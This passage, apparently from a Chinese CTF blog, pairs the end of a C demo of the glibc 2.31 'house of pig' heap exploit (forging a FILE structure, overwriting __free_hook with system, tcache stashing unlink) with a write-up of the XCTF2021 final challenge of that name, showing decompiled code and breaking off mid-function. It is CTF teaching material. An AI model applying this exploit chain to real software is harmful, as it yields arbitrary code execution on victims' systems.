printf_color(GREEN, UNDEFINED, "本程序运行于ubuntu 20.04, glibc版本为2.31-0ubuntu9.9。\n");
printf_color(GREEN, UNDEFINED, "在glibc 2.31下,house of pig需要利用__free__hook。\n\n");
printf_color(RED, HIGHLIGHT, "第一步:获取libc的加载地址及堆地址。\n");
printf_color(GREEN, UNDEFINED, "通过puts函数获取libc加载地址,在本libc中其偏移为0x84420。\n");

size_t puts_addr = (size_t)puts;
size_t libc_base = puts_addr - 0x84420;
printf_color(YELLOW, HIGHLIGHT, "libc的加载地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, libc_base);

printf_color(GREEN, UNDEFINED, "然后我们通过分配一个chunk(大小为0x500)来获得一个堆地址。\n");
size_t chunk_1 = (size_t) malloc(0x4F0) - 0x10;
printf_color(YELLOW, HIGHLIGHT, "获得堆地址为这个chunk的起始地址:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n\n" STR_END, chunk_1);

printf_color(RED, HIGHLIGHT, "第二步:通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n");
printf_color(GREEN, UNDEFINED, "为了方便起见,本程序直接对__free_hook附近地址进行修改。\n");
printf_color(GREEN, UNDEFINED, "在实际应用中,我们要维护好这个堆地址,在后面的步骤中还会用到。\n");
printf_color(PURPLE, HIGHLIGHT, "这里在__free_hook-0x10处写入刚才获得的堆地址。\n");

printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1EEE48。\n");

size_t __free_hook = libc_base + 0x1EEE48;
printf_color(YELLOW, HIGHLIGHT, "__free_hook的地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, __free_hook);

size_t* vuln_1 = (size_t*)(__free_hook - 0x8);
// ---------- 第一处漏洞利用 ---------- //
*vuln_1 = chunk_1;
// --------------------------------- //

printf_color(BLUE, HIGHLIGHT, "第一处漏洞利用完成,已在__free_hook-0x10处写入堆地址。\n\n");

printf_color(RED, HIGHLIGHT, "第三步:通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n");
printf_color(GREEN, UNDEFINED, "本libc中__free_hook的偏移为0x1ED5A0。\n");

size_t* _IO_list_all = (size_t*)(libc_base + 0x1ED5A0);

printf_color(GREEN, UNDEFINED, "_IO_list_all中原本保存的应该是_IO_2_1_stderr_这个文件结构体实例。\n");
printf_color(GREEN, UNDEFINED, "在程序调用exit函数时会对_IO_list_all中的FILE结构体依次进行遍历。\n");
printf_color(GREEN, UNDEFINED, "exit函数的调用链为:exit->_IO_cleanup->_IO_flush_all_lockp。\n");
printf_color(GREEN, UNDEFINED, "下面是_IO_flush_all_lockp的函数定义:\n\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/genops.c, line 684)\n");
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_flush_all_lockp (int do_lock)\n"
"{\n"
" int result = 0;\n"
" FILE *fp;\n"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_cleanup_region_start_noarg (flush_cleanup);\n"
" _IO_lock_lock (list_all_lock);\n"
"#endif\n"
"\n"
" \033[1;31mfor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n"
" {\n"
" run_fp = fp;\n"
" if (do_lock)\n"
"\t_IO_flockfile (fp);\n"
"\n"
" if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n"
"\t || (_IO_vtable_offset (fp) == 0\n"
"\t && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n"
"\t\t\t\t > fp->_wide_data->_IO_write_base))\n"
"\t )\n"
"\t && _IO_OVERFLOW (fp, EOF) == EOF)\n"
"\tresult = EOF;\n"
"\n"
" if (do_lock)\n"
"\t_IO_funlockfile (fp);\n"
" run_fp = NULL;\n"
" }\n\033[1;" PURPLE "m"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_lock_unlock (list_all_lock);\n"
" _IO_cleanup_region_end (0);\n"
"#endif\n"
"\n"
" return result;\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这便是遍历_IO_list_all链中的所有FILE实例。\n");
printf_color(GREEN, UNDEFINED, "其中一条if语句的判断条件中会调用_IO_OVERFLOW函数。\n");
printf_color(GREEN, UNDEFINED, "这个函数指的是vtable中overflow那个字段对应的函数。\n");
printf_color(GREEN, UNDEFINED, "要执行到这个函数,就必须要让前面一个判断条件满足。\n");
printf_color(GREEN, UNDEFINED, "这也就是我们伪造FILE结构体时需要注意的地方。\n");
printf_color(GREEN, UNDEFINED, "下面我们就来修改_IO_list_all的值,用一个chunk地址填充。\n");

size_t chunk_2 = (size_t) calloc(1, 0xF0) - 0x10;
// ---------- 第二处漏洞利用 ---------- //
*_IO_list_all = chunk_2;
// --------------------------------- //
printf_color(YELLOW, HIGHLIGHT, "这个chunk的起始地址为:");
printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, chunk_2);

printf_color(RED, HIGHLIGHT, "第四步:伪造FILE结构体。\n");
printf_color(GREEN, UNDEFINED, "我们使用第二次分配到的chunk作为假FILE结构体进行构造。\n");
printf_color(GREEN, UNDEFINED, "再次强调注意_IO_flush_all_lockp函数的限定条件。\n");
printf_color(GREEN, UNDEFINED, "if语句的前一个判断条件是两个判断相或,我们只需要满足第一个判断即可:\n");
printf_color(RED, HIGHLIGHT, "fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
printf_color(GREEN, UNDEFINED, "其中_mode字段的偏移为0xC0,_IO_write_ptr为0x28,_IO_write_base为0x30。\n");
printf_color(GREEN, UNDEFINED, "我们在_mode处填0,在_IO_write_ptr填1,在_IO_write_base填0就可以了。\n");

size_t* fake_FILE = (size_t*) chunk_2;
fake_FILE[0xC0 / 8] = 0; // _mode
fake_FILE[0x20 / 8] = 1;
fake_FILE[0x28 / 8] = 0xFFFFFFFFFFFF; // _IO_write_ptr
fake_FILE[0x30 / 8] = 0; // _IO_write_base

printf_color(GREEN, UNDEFINED, "三个字段修改完成。但我们需要修改的可不止这三个字段。\n");
printf_color(GREEN, UNDEFINED, "在这个判断条件通过后,我们将会进入overflow函数。\n");
printf_color(GREEN, UNDEFINED, "house of pig的一个重要思想就是让其执行_IO_str_overflow函数。\n");
printf_color(GREEN, UNDEFINED, "这需要我们在vtable中写入_IO_str_jumps的地址,其中保存有这个函数的地址。\n");
printf_color(GREEN, UNDEFINED, "看一下IDA中的_IO_str_jumps结构体:\n\n");
printf_color(PURPLE, HIGHLIGHT,
"__libc_IO_vtables:00000000001E9560 qword_1E9560 dq 0 ; DATA XREF: sub_52C20+49A↑o\n"
"__libc_IO_vtables:00000000001E9560 ; sscanf+B5↑o ...\n"
"__libc_IO_vtables:00000000001E9568 dq 0\n"
"__libc_IO_vtables:00000000001E9570 dq offset sub_93D50\n"
"\033[1;31m__libc_IO_vtables:00000000001E9578 dq offset _IO_str_overflow\n\033[1;" PURPLE "m"
"__libc_IO_vtables:00000000001E9580 dq offset _IO_str_underflow\n"
"__libc_IO_vtables:00000000001E9588 dq offset _IO_default_uflow\n"
"__libc_IO_vtables:00000000001E9590 dq offset _IO_str_pbackfail\n"
"__libc_IO_vtables:00000000001E9598 dq offset _IO_default_xsputn\n"
"__libc_IO_vtables:00000000001E95A0 dq offset _IO_default_xsgetn\n"
"__libc_IO_vtables:00000000001E95A8 dq offset _IO_str_seekoff\n"
"__libc_IO_vtables:00000000001E95B0 dq offset sub_92600\n"
"__libc_IO_vtables:00000000001E95B8 dq offset sub_924E0\n"
"__libc_IO_vtables:00000000001E95C0 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95C8 dq offset _IO_default_doallocate\n"
"__libc_IO_vtables:00000000001E95D0 dq offset sub_937F0\n"
"__libc_IO_vtables:00000000001E95D8 dq offset sub_93800\n"
"__libc_IO_vtables:00000000001E95E0 dq offset sub_937D0\n"
"__libc_IO_vtables:00000000001E95E8 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95F0 dq offset sub_937E0\n"
"__libc_IO_vtables:00000000001E95F8 dq offset sub_93810\n"
"__libc_IO_vtables:00000000001E9600 dq offset sub_93820\n\n");

printf_color(GREEN, UNDEFINED, "其偏移为0x1E9560。将其填充到vtable字段,偏移为0xD8。\n");
size_t _IO_str_jumps = libc_base + 0x1E9560;
fake_FILE[0xD8 / 8] = _IO_str_jumps;

printf_color(GREEN, UNDEFINED, "然后,我们进入_IO_str_overflow函数看看。\n\n");
printf_color(BLUE, HIGHLIGHT, "(/libio/strops.c, line 80)\n");
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_str_overflow (FILE *fp, int c)\n"
"{\n"
" int flush_only = c == EOF;\n"
" size_t pos;\n"
" if (fp->_flags & _IO_NO_WRITES)\n"
" return flush_only ? 0 : EOF;\n"
" if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))\n"
" {\n"
" fp->_flags |= _IO_CURRENTLY_PUTTING;\n"
" fp->_IO_write_ptr = fp->_IO_read_ptr;\n"
" fp->_IO_read_ptr = fp->_IO_read_end;\n"
" }\n"
" pos = fp->_IO_write_ptr - fp->_IO_write_base;\n"
" if (pos >= (size_t) (_IO_blen (fp) + flush_only))\n"
" {\n"
" if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */\n"
"\treturn EOF;\n"
" else\n"
"\t{\n"
"\033[1;31m\t char *new_buf;\n"
"\t char *old_buf = fp->_IO_buf_base;\n"
"\t size_t old_blen = _IO_blen (fp);\n"
"\t size_t new_size = 2 * old_blen + 100;\n"
"\t if (new_size < old_blen)\n"
"\t return EOF;\n"
"\t new_buf = malloc (new_size);\n"
"\t if (new_buf == NULL)\n"
"\t {\n"
"\t /*\t __ferror(fp) = 1; */\n"
"\t return EOF;\n"
"\t }\n"
"\t if (old_buf)\n"
"\t {\n"
"\t memcpy (new_buf, old_buf, old_blen);\n"
"\t free (old_buf);\n"
"\t /* Make sure _IO_setb won't try to delete _IO_buf_base. */\n"
"\t fp->_IO_buf_base = NULL;\n"
"\t }\n\033[1;" PURPLE "m"
"\t memset (new_buf + old_blen, '\\0', new_size - old_blen);\n"
"\n"
"\t _IO_setb (fp, new_buf, new_buf + new_size, 1);\n"
"\t fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);\n"
"\t fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);\n"
"\t fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);\n"
"\t fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);\n"
"\n"
"\t fp->_IO_write_base = new_buf;\n"
"\t fp->_IO_write_end = fp->_IO_buf_end;\n"
"\t}\n"
" }\n"
"\n"
" if (!flush_only)\n"
" *fp->_IO_write_ptr++ = (unsigned char) c;\n"
" if (fp->_IO_write_ptr > fp->_IO_read_end)\n"
" fp->_IO_read_end = fp->_IO_write_ptr;\n"
" if (flush_only)\n"
" return 0;\n"
" else\n"
" return c;\n"
"}\n\n");

printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这里会连续调用malloc、memcpy、free函数。\n");
printf_color(GREEN, UNDEFINED, "house of pig想要在这里大做文章。\n");
printf_color(GREEN, UNDEFINED, "首先需要通过tcache stashing unlink attack或其他方法向tcache中插入__free_hook附近的地址。\n");
printf_color(GREEN, UNDEFINED, "然后在运行到此时,首先通过malloc分配出来,然后memcpy将指定位置的内容复制到__free_hook。\n");
printf_color(GREEN, UNDEFINED, "最后通过free函数执行__free_hook中的内容,这里将__free_hook修改为system函数地址。\n");
printf_color(GREEN, UNDEFINED, "通过代码我们可以知道,memcpy是将_IO_buf_base(结构体内偏移0x38)地址处的内容复制到__free_hook。\n");
printf_color(GREEN, UNDEFINED, "而这个复制的原地址是我们可控的,需要我们在伪造的FILE结构体中设置。\n");
printf_color(GREEN, UNDEFINED, "这里我们设置这个地址的值为第一个chunk的地址+0x20。\n");
printf_color(GREEN, UNDEFINED, "............\n");

fake_FILE[0x38 / 8] = chunk_1 + 0x20;

printf_color(GREEN, UNDEFINED, "设置完成。之后我们需要注意malloc函数申请的chunk大小,其申请的大小需要经过计算。\n");
printf_color(GREEN, UNDEFINED, "计算方式是:(_IO_buf_end - _IO_buf_base) * 2 + 100。\n");
printf_color(GREEN, UNDEFINED, "这要求我们正确设置_IO_buf_end的值。如果使用0x100的tcache进行攻击,则end-base=0x46。\n");
printf_color(GREEN, UNDEFINED, "据此设置_IO_buf_end为第一个chunk的地址+0x20+0x46(结构体内偏移0x40)。\n");
printf_color(GREEN, UNDEFINED, "............\n");

fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;

printf_color(GREEN, UNDEFINED, "设置完成。最后注意free函数的参数是FILE结构体的起始地址,因此在第二个chunk+0x20处写入\"/bin/sh\\x00\"。\n");
printf_color(GREEN, UNDEFINED, "另外在第二个chunk+0x30处写入system函数地址,memcpy函数能够将这里的地址复制到__free_hook。\n");

strcpy((char*)(chunk_1 + 0x20), "/bin/sh");
*(size_t*)(chunk_1 + 0x20 + 0x10) = (size_t)system;

printf_color(GREEN, UNDEFINED, "............\n");
printf_color(GREEN, UNDEFINED, "设置完成。\n\n");

printf_color(RED, HIGHLIGHT, "第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n");
printf_color(GREEN, UNDEFINED, "当赛题中只使用calloc时,只有在tcache中存放堆地址,才能让malloc分配到__free_hook。\n");
printf_color(GREEN, UNDEFINED, "下面进行这种攻击的常规流程:\n");
printf_color(GREEN, UNDEFINED, "首先分配9个chunk并释放,7个到tcache,2个到small bins。然后分配两个tcache chunk出来。\n");

void* chunks[9];

for(int i=0; i<7; i++)
chunks[i] = malloc(0xF0);
malloc(0x20); // to avoid consolidate
chunks[7] = malloc(0xF0);
malloc(0x20); // to avoid consolidate
chunks[8] = malloc(0xF0);
malloc(0x20); // to avoid consolidate
for(int i=0; i<9; i++)
free(chunks[i]);
malloc(0xF0);
malloc(0xF0);
malloc(0x100);

printf_color(GREEN, UNDEFINED, "依次释放9个chunk,tcache中的chunk应该为:7->6->5->4->3->2->1。\n");
printf_color(GREEN, UNDEFINED, "unsorted bin中的chunk应该为:9<->8。\n");
printf_color(GREEN, UNDEFINED, "然后分配出来两个tcache chunk,再分配一个较大的chunk,让unsorted bin的两个chunk进入small bins。\n");
printf_color(GREEN, UNDEFINED, "应该修改第9个chunk的bk指针为__free_hook附近地址。\n");
printf_color(GREEN, UNDEFINED, "............\n");

*(size_t*)((size_t)(chunks[8]) + 0x8) = __free_hook - 0x20;

printf_color(GREEN, UNDEFINED, "修改完成,之后分配一个出来进行攻击。\n");
calloc(1, 0xF0);

printf_color(GREEN, UNDEFINED, "已经分配出来了一个chunk,现在0x100的tcache中的第一个chunk就是__free_hook附近的地址。\n\n");

printf_color(RED, HIGHLIGHT, "第六步:调用exit函数触发house of pig漏洞。\n");
printf_color(GREEN, UNDEFINED, "现在,所有的东西都已经布置好了,只需要一个exit函数,我们就能够执行预期的函数调用链并getshell。\n");
exit(-1);
}

[XCTF2021final] house of pig

检查信息

image-20231028104920747

image-20231028104935630

image-20231028105055649

没找到原 libc,这里使用如上 libc

试运行

image-20231028105250592

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int id; // [rsp+0h] [rbp-420h]
int new_id; // [rsp+4h] [rbp-41Ch]
Info *info; // [rsp+8h] [rbp-418h]
Info info1; // [rsp+10h] [rbp-410h] BYREF
Info info2; // [rsp+160h] [rbp-2C0h] BYREF
Info info3; // [rsp+2B0h] [rbp-170h] BYREF
unsigned __int64 v13; // [rsp+408h] [rbp-18h]

v13 = __readfsqword(0x28u);
init_state();
welcome();
init_info1(&info1);
init_info2(&info2);
init_info3(&info3);
id = 1;
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Peppa Pig first~");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
info = &info1;
get_info1(&info1);
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1:
add(info, id);
break;
case 2:
show(info, id);
break;
case 3:
edit(info, id);
break;
case 4:
delete(info, id);
break;
case 5:
new_id = login();
if ( new_id && new_id != id )
{
switch ( id )
{
case 1:
set_info1(info);
break;
case 2:
set_info2(info);
break;
case 3:
set_info3(info);
break;
}
id = new_id;
switch ( new_id )
{
case 1:
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Peppa Pig~");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
info = &info1;
get_info1(&info1);
break;
case 2:
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Mummy Pig~");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
info = &info2;
get_info2(&info2);
break;
case 3:
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Daddy Pig~");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
info = &info3;
get_info3(&info3);
break;
}
}
break;
default:
puts("Invalid...");
break;
}
}
}

一道 c++pwn 题。三只猪用户,一共五种操作,添加,查看,修改,删除,登录。最开始默认peppa(猪A)先操作,猪A的 id=1Mummy (猪B)的 id=2Daddy (猪C)的 id=3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
unsigned __int64 __fastcall add(Info *info, int id)
{
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
switch ( id )
{
case 1:
add_1(info);
break;
case 2:
add_2(info);
break;
case 3:
add_3(info);
break;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall add_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
int i; // [rsp+18h] [rbp-18h]
int j; // [rsp+1Ch] [rbp-14h]
int size; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]

v9 = __readfsqword(0x28u);
for ( i = 0; i <= 19 && info->ptr[i]; ++i )
;
if ( i == 20 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( state->min_size1 <= 0x8F )
state->min_size1 = 0x90;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
size = get_num();
if ( size >= state->min_size1 && size <= 0x430 )
{
state->min_size1 = size;
info->ptr[i] = (char *)calloc(1uLL, size);
if ( !info->ptr[i] )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
info->size[i] = size;
info->flag1[i] = 0;
info->flag2[i] = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
for ( j = 0; j < size / 0x30; ++j )
read_n(&info->ptr[i][0x30 * j], 0x10LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
int i; // [rsp+18h] [rbp-18h]
int j; // [rsp+1Ch] [rbp-14h]
int size; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]

v9 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && info->ptr[i]; ++i )
;
if ( i == 10 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( state->min_size2 <= 0x8F )
state->min_size2 = 0x90;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
size = get_num();
if ( size >= state->min_size2 && size <= 0x450 )
{
state->min_size2 = size;
info->ptr[i] = (char *)calloc(1uLL, size);
if ( !info->ptr[i] )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
info->size[i] = size;
info->flag1[i] = 0;
info->flag2[i] = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
for ( j = 0; j < size / 0x30; ++j )
read_n(&info->ptr[i][0x30 * j + 0x10], 0x10LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int i; // [rsp+10h] [rbp-20h]
int j; // [rsp+14h] [rbp-1Ch]
int size; // [rsp+18h] [rbp-18h]
_BYTE *v11; // [rsp+20h] [rbp-10h]
unsigned __int64 v12; // [rsp+28h] [rbp-8h]

v12 = __readfsqword(0x28u);
for ( i = 0; i <= 4 && info->ptr[i]; ++i )
;
if ( i == 5 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
if ( state->min_size3 <= 0x8F )
state->min_size3 = 0x90;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
size = get_num();
if ( size > 0x8F && size <= 0x440 )
{
state->min_size3 = size;
info->ptr[i] = (char *)calloc(1uLL, size);
if ( !info->ptr[i] )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
info->size[i] = size;
info->flag1[i] = 0;
info->flag2[i] = 0;
std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
for ( j = 0; j < size / 0x30; ++j )
read_n(&info->ptr[i][0x30 * j + 0x20], 0x10LL);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
if ( i == 4 )
{
v11 = calloc(1uLL, 0xE8uLL);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "01dwang's Gift:");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
read_n(v11, 0xE8LL);
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
return __readfsqword(0x28u) ^ v12;
}

添加操作一共有三种,分别对应猪A,猪B,猪C。猪A可以遍历 0~19 的索引,并添加一个大小在 0x90~0x430chunk,猪B 只能遍历 0~9 的索引,并添加大小在 0x90~0x450chunk。对于猪C,则是 0~4 的索引和 0x90~0x440chunk。猪A, 猪B分配的chunk大小只能一次比一次大或者本次与上一次相等,但猪C没有这个限制。另外,在猪C函数中如果添加 chunk 的索引为 4,则还可以再分配一个大小为0xE8chunk并写入最大长度为0xE8的内容。 3只猪在add之后可以立即向新分配的chunk中写入内容,但不是chunk中任何位置都能写,chunk空间以48字节为大小分组。对于猪A,每一组48字节空间只能写前面16字节,对于猪B则是只能写中间16字节,对于猪C只能写后面16字节。在写入后,会设置两个标志位为0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
unsigned __int64 __fastcall show(Info *info, int id)
{
__int64 v2; // rax
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( state->show_times <= 0 )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No view for you...");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
switch ( id )
{
case 1:
show_1(info);
break;
case 2:
show_2(info);
break;
case 3:
show_3(info);
break;
}
--state->show_times;
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall show_1(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 20 )
{
if ( a1->ptr[index] && a1->size[index] && !a1->flag1[index] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr[index]);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_2(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 10 )
{
if ( a1->ptr[index] && a1->size[index] && !a1->flag1[index] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr[index]);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_3(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 5 )
{
if ( a1->ptr[index] && a1->size[index] && !a1->flag1[index] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr[index]);
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}

3只猪可以查看的索引范围和可以add的索引范围相同。而且查看时需要有一个标志位为0。这个标志位是add中设置的两个标志位中的第一个。本题限制view的次数最多为2次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
unsigned __int64 __fastcall edit(Info *info, int id)
{
__int64 v2; // rax
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( state->edit_times <= 0 )
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No edit for you...");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
switch ( id )
{
case 1:
edit_1(info);
break;
case 2:
edit_2(info);
break;
case 3:
edit_3(info);
break;
}
--state->edit_times;
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall edit_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; // [rsp+18h] [rbp-18h]
unsigned int index; // [rsp+1Ch] [rbp-14h]
int v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
